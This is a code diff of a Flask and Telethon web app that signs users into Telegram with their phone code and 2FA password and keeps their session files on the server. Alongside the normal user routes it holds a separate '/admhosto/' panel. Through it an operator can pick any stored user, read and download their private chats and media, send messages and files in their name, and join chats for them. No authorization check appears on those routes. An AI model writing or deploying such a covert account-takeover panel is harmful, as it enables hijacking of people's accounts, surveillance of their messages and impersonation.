901
+ }
902
+ });
903
 
904
  async function sendMessage(userId) {
905
+ const chatId = document.getElementById('sendMessageRecipient').value;
906
+ const message = document.getElementById('sendMessageContent').value;
907
+ if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
908
  const response = await fetch(`/admhosto/send_message/${userId}`, {
909
  method: 'POST',
910
  headers: { 'Content-Type': 'application/json' },
 
915
  if (result.success) {
916
  document.getElementById('sendMessageRecipient').value = '';
917
  document.getElementById('sendMessageContent').value = '';
918
+ if (currentAdminChatId == chatId) {
919
+ selectChat(userId, chatId, document.getElementById('messagesChatTitle').textContent.replace('Messages in "', '').replace('"', ''));
920
  }
921
  }
922
  }
 
926
  if (fileInput.files.length === 0) return;
927
 
928
  const file = fileInput.files[0];
929
+ const chatId = document.getElementById('sendMessageRecipient').value;
930
+ const caption = document.getElementById('sendMessageContent').value;
931
 
932
  if (!chatId) { alert('Recipient is required to send a file.'); return; }
933
 
 
940
  document.getElementById('sendMessageContent').value = '';
941
  fileInput.value = '';
942
 
 
943
  const response = await fetch(`/admhosto/send_file/${userId}`, {
944
  method: 'POST',
945
  body: formData
946
  });
947
  const result = await response.json();
948
  alert(result.message);
949
+ if (result.success) {
950
+ if (currentAdminChatId == chatId) {
951
+ selectChat(userId, chatId, document.getElementById('messagesChatTitle').textContent.replace('Messages in "', '').replace('"', ''));
952
+ }
953
  }
954
  }
955
 
956
  async function joinChat(userId) {
957
+ const chatIdentifier = document.getElementById('joinChatIdentifier').value;
958
  if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
959
  const response = await fetch(`/admhosto/join_chat/${userId}`, {
960
  method: 'POST',
 
963
  });
964
  const result = await response.json();
965
  alert(result.message);
966
+ if (result.success) { location.reload(); }
 
 
967
  }
968
  </script>
969
  </body>
 
984
 
985
  if not phone:
986
  return jsonify({'success': False, 'message': 'Phone number is required.'})
 
 
 
 
987
 
988
  session_hash = hashlib.md5(phone.encode()).hexdigest()
989
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
 
1008
  session['user_id'] = user_db_id
1009
  result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
1010
  else:
1011
+ sent_code = await client.send_code_request(session['current_login_phone'])
1012
+ session['phone_code_hash'] = sent_code.phone_code_hash
1013
+ result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
 
 
 
 
 
 
 
 
 
1014
  elif step == 'code':
1015
  code = data.get('code')
1016
  phone_code_hash = session.get('phone_code_hash')
1017
  if not phone_code_hash:
1018
+ raise ValueError('Session expired, please try again.')
 
 
1019
 
1020
  try:
1021
  me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)
 
1029
  result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
1030
  except SessionPasswordNeededError:
1031
  result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}
 
 
 
 
1032
  except FloodWaitError as e:
1033
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1034
  except Exception as e:
1035
+ result = {'success': False, 'message': f'Invalid code or other error: {e}'}
1036
 
1037
  elif step == 'password':
1038
  password = data.get('password')
 
1048
  result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
1049
  except FloodWaitError as e:
1050
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1051
  except Exception as e:
1052
+ result = {'success': False, 'message': f'Invalid password or other error: {e}'}
1053
 
1054
  else:
1055
  result = {'success': False, 'message': 'Invalid step.'}
1056
  except FloodWaitError as e:
1057
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1058
  except Exception as e:
1059
+ result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'}
1060
  finally:
1061
  if client.is_connected():
1062
  await client.disconnect()
 
1112
  full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
1113
  title = full_name if full_name else "Unnamed User"
1114
  if dialog.entity.username:
1115
+ title += f" (@{dialog.entity.username})"
1116
  elif isinstance(dialog.entity, Channel):
1117
  chat_type = 'Channel'
1118
  if hasattr(dialog.entity, 'participants_count'):
 
1125
  title = title if title else "Unknown Chat"
1126
  chat_type = "Unknown"
1127
 
1128
+ initial = title[0].upper() if title else '?'
1129
 
1130
  chats_info.append({
1131
  'id': dialog.id,
 
1152
  user_id = session.get('user_id')
1153
  if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1154
 
1155
+ offset_id = request.args.get('offset_id', None, type=int)
1156
+ limit = request.args.get('limit', 50, type=int)
1157
 
1158
  async def _get_messages_async():
1159
  client, error = await get_user_client(user_id)
1160
+ if error: return None, error
1161
 
1162
  messages = []
 
 
1163
  try:
1164
  entity = await client.get_entity(peer_id)
1165
+ async for message in client.iter_messages(entity, limit=limit, max_id=offset_id):
 
 
 
 
1166
  msg_data = {
1167
+ 'id': message.id,
1168
  'text': message.text,
1169
  'date': message.date.strftime("%b %d, %H:%M"),
1170
  'is_sent': message.out,
1171
+ 'sender_name': 'Unknown'
 
1172
  }
1173
  if message.sender:
1174
  if isinstance(message.sender, User):
1175
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
1176
+ elif hasattr(message.sender, 'title'):
 
1177
  msg_data['sender_name'] = message.sender.title
 
1178
  else:
1179
  msg_data['sender_name'] = str(message.sender.id)
1180
 
 
1189
  elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1190
  file_name = f"photo_{message.media.photo.id}.jpg"
1191
 
1192
+ file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
 
1193
  if file_info:
1194
  file_path = Path(file_info)
1195
  msg_data['file_name'] = file_path.name
 
1198
  except Exception as media_e:
1199
  msg_data['file_name'] = f"Download failed: {media_e}"
1200
  messages.append(msg_data)
 
 
 
 
 
 
 
 
 
 
 
1201
  except Exception as e:
1202
+ return None, str(e)
1203
  finally:
1204
  if client and client.is_connected():
1205
  await client.disconnect()
1206
+ return messages, None
1207
 
1208
+ messages, error = asyncio.run(_get_messages_async())
1209
  if error:
1210
  return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1211
 
1212
+ return jsonify({'success': True, 'messages': messages})
1213
 
1214
  @app.route('/api/send_message', methods=['POST'])
1215
  def api_send_message():
 
1229
  return {'success': True, 'message': 'Message sent.'}
1230
  except FloodWaitError as e:
1231
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1232
  except Exception as e:
1233
  return {'success': False, 'message': str(e)}
1234
  finally:
 
1260
  return {'success': True, 'message': 'File sent.'}
1261
  except FloodWaitError as e:
1262
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1263
  except Exception as e:
1264
  return {'success': False, 'message': str(e)}
1265
  finally:
 
1289
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1290
  except (UserNotParticipantError, ValueError):
1291
  return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
 
 
1292
  except Exception as e:
1293
  return {'success': False, 'message': f'Error joining chat: {e}'}
1294
  finally:
 
1325
  elif isinstance(dialog.entity, User): chat_type = 'User'
1326
 
1327
  title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")
 
 
1328
 
1329
  chats_info.append({
1330
  'id': dialog.id,
 
1344
 
1345
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1346
  def admhosto_get_chat_messages(user_id, peer_id):
1347
+ offset_id = request.args.get('offset_id', None, type=int)
1348
+ limit = request.args.get('limit', 50, type=int)
1349
 
1350
  async def _get_messages_async():
1351
  client, error = await get_user_client(user_id)
1352
+ if error: return None, error
1353
  messages = []
 
 
1354
  try:
1355
  entity = await client.get_entity(peer_id)
1356
+ async for message in client.iter_messages(entity, limit=limit, max_id=offset_id):
 
 
 
 
1357
  msg_data = {
1358
+ 'id': message.id,
1359
  'text': message.text,
1360
  'date': message.date.strftime("%b %d, %H:%M"),
1361
  'is_sent': message.out,
1362
+ 'sender_name': 'Unknown'
 
1363
  }
1364
  if message.sender:
1365
  if isinstance(message.sender, User):
1366
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
 
1367
  elif hasattr(message.sender, 'title'):
1368
  msg_data['sender_name'] = message.sender.title
 
1369
  else:
1370
  msg_data['sender_name'] = str(message.sender.id)
1371
 
 
1380
  elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1381
  file_name = f"photo_{message.media.photo.id}.jpg"
1382
 
1383
+ file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
 
1384
  if file_info:
1385
  file_path = Path(file_info)
1386
  msg_data['file_name'] = file_path.name
 
1389
  except Exception as media_e:
1390
  msg_data['file_name'] = f"Download failed: {media_e}"
1391
  messages.append(msg_data)
 
 
 
 
 
 
 
 
 
 
 
1392
  except Exception as e:
1393
+ return None, str(e)
1394
  finally:
1395
  if client and client.is_connected(): await client.disconnect()
1396
+ return messages, None
1397
 
1398
+ messages, error = asyncio.run(_get_messages_async())
1399
  if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1400
+ return jsonify({'success': True, 'messages': messages})
1401
 
1402
  @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
1403
  def admhosto_send_message(user_id):
 
1413
  return {'success': True, 'message': 'Message sent.'}
1414
  except FloodWaitError as e:
1415
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1416
  except Exception as e:
1417
  return {'success': False, 'message': str(e)}
1418
  finally:
 
1440
  return {'success': True, 'message': 'File sent.'}
1441
  except FloodWaitError as e:
1442
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1443
  except Exception as e:
1444
  return {'success': False, 'message': str(e)}
1445
  finally:
 
1463
  return {'success': True, 'message': 'Successfully joined.'}
1464
  except FloodWaitError as e:
1465
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1466
  except Exception as e:
1467
  return {'success': False, 'message': f'Error joining: {e}'}
1468
  finally: